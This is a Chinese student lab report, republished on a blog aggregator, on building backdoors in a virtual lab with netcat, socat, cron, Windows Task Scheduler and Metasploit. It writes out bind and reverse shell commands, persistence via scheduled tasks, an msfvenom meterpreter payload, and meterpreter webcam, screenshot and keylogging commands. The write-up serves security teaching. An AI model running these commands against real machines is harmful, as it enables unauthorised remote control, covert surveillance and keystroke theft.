码迷,mamicode.com
首页 > 其他好文 > 详细

Exp2 后门原理与实践(未完待续)

时间:2018-03-26 00:36:27      阅读:216      评论:0      收藏:0      [点我收藏+]

标签:变化   job   ini   tcp   64位   example   2.3   一个   bubuko   

Exp2 后门原理与实践

实验环境

攻击机

  • kali 4.14(64位) (IP: 10.0.2.6/24)

靶机

  • ubuntu 16.04(32位) (IP: 10.0.2.4/24)
  • windows 7 sp1(64位) (IP: 10.0.2.7/24)

nc/ncat的使用

nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选项

ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)

nc的监听模式在kali下会出现问题,监听的端口会随机变化,因此推荐同学们在kali下使用ncat

nc后门获得win/linux shell

在win7靶机下载netcat后,进入netcat所在文件夹,在命令提示符中输入nc -L -e cmd.exe -p 80启动后门服务。

-L 选项-l选项是将nc设置为监听模式。-p 选项指定监听的端口(混淆为80,53等端口往往能穿透防火墙),-e 选项可以绑定到cmd.exe这个shell程序。

技术分享图片

在攻击机中输入nc 10.0.2.7 80连接到win7靶机,获得win7的shell。

技术分享图片

ubuntu自带的nc版本没有-e 选项,当然可以用ncat替代,这里展示一下没有-e 选项的nc如何获得shell。(参考man手册)

输入

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > /tmp/f

技术分享图片

攻击机连接后,得到shell

技术分享图片

nc获得win/linux反弹shell

前面的示例都是靶机作为服务器,监听攻击机的TCP连接。下面我们让靶机主动连接攻击机,获得反弹式shell。

在攻击机中输入ncat -vv -l 9190进入监听模式,-vv选项提供详细的状态输出。

技术分享图片

靶机中输入nc 10.0.2.6 9190 -e cmd.exe主动连接攻击机

技术分享图片

攻击机获得shell

技术分享图片

nc后门配合cron启动反弹式shell

crontab计划内容的基础知识可以在实验楼中学习,这里给出crontab的格式:

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
  1. 在攻击机下输入ncat -vv -l 9190在端口9190监听

技术分享图片

2.在靶机中配置crontable,让它在中午12:00,连接攻击机(做完实验正好出去吃饭)

技术分享图片

技术分享图片

3.时间到了,攻击机显示靶机10.0.2.4连接,获得反弹shell

技术分享图片

socat的使用

socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。

这里我们只把socat作为传递shell的工具使用。

socat速查

  • 连接端口 socat - tcp:10.0.2.4:80 #连接ip 为 10.0.2.4 主机的80端口
  • 监听端口 socat - tcp-l:8080 #侦听本机的8080端口
  • 传递远程shell socat tcp-l:1234 exec:<sh>,pty,stderr #当有主机连接本机的1234端口时,将会发送本机的shell给连接端

socat配合windows任务计划

在win7靶机中点击控制面板->系统和安全->管理工具->任务计划程序,进入下面的画面:

技术分享图片

选择创建任务,在常规选项卡中编辑名称,并在触发器选项卡中选择工作站锁定时,这样在靶机锁定的时候,我们的socat就会传递远程shell

技术分享图片

操作选项卡中绑定socat程序,给出参数tcp-listen:9190 exec:cmd.exe,pty,stderr

技术分享图片

然后按下win + L锁定win7靶机,在攻击机中输入socat - tcp:10.0.2.7:9190,获得远程shell。

技术分享图片

Meterpreter的使用

终于到祭出神器Meterpreter的部分了!Meterpreter是Metasploit框架中功能最强大、最有发展前景的模块,它作为可以被渗透攻击植入到目标系统上执行的一个攻击载荷,除了提供基本的会话控制之外,还集成了大量的后渗透攻击的命令和功能,
比如敏感信息搜集、击键记录、本地特权提升等等。

主要事项

市面上的一些关于metasploit的书在某些方面已经过时了(我说的就是参考书《Metasploit魔鬼训练营》和《Metasploit渗透测试指南》),msfcli接口已经没有了,msfpayload和msfencode模块也被移除了,取而代之的是msfvenom,它集成了这两个模块的功能。
所以《Metasploit魔鬼训练营》第9章中的一些内容无法复现出来。

生成后门程序

我们用msfvenom生成一个windows平台的反弹式后门程序,连接端口为9190。

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=9190 -f exe > 20155110_backdoor.exe

技术分享图片

我们把这个后门程序拷贝到win7靶机中去,方法有很多,这里使用ncat。

在kali中输入ncat -l 9190 < 20155110_backdoor.exe

在win7靶机的nc所在目录下输入nc 10.0.2.6 9190 > 20155110_backdoor.exe

这样就将程序拷贝到了win7靶机中。

技术分享图片

开启后门

接着,让我们进入msfconsole中去,输入use exploit/multi/handler(可以用tab键补全)

然后选择payload,看一下使用这个攻击载荷需要设置那些东西:

技术分享图片

设置攻击机IP和监听的端口

技术分享图片

接着输入exploit,然后在win7靶机中运行后门程序,猎物就上钩了。

技术分享图片

检查是否为虚拟机

输入info post/windows/gather/checkvm,结果显示靶机是一台虚拟机

技术分享图片

获得windows命令行

特别简单,只要输入shell就行了。

技术分享图片

打开摄像头

我使用的虚拟机软件是virtual box,需要安装VirtualBox Extension Pack才能让虚拟机使用主机的摄像头。

安装方法(https://jingyan.baidu.com/article/a3761b2b8073361576f9aadf.html)

输入webcam_list,发现靶机中有摄像头:

技术分享图片

输入webcam_snap,给张照片(被自己丑哭了):

技术分享图片

输入webcam_stream,持续打开摄像头,实况直播,我感觉自己至少比《精通Metasploit渗透测试(第2版)》的作者帅(书的8.2.10小节):

技术分享图片

截屏

输入screenshot即可

技术分享图片

键盘记录

输入keyscan_start开始记录,keyscan_dump导出记录

技术分享图片

尝试提权

getuid显示当前用户,输入getsystem尝试提升权限,但是失败了,很遗憾:

技术分享图片

未完待续

Exp2 后门原理与实践(未完待续)

标签:变化   job   ini   tcp   64位   example   2.3   一个   bubuko   

原文地址:https://www.cnblogs.com/wyf12138/p/8643422.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!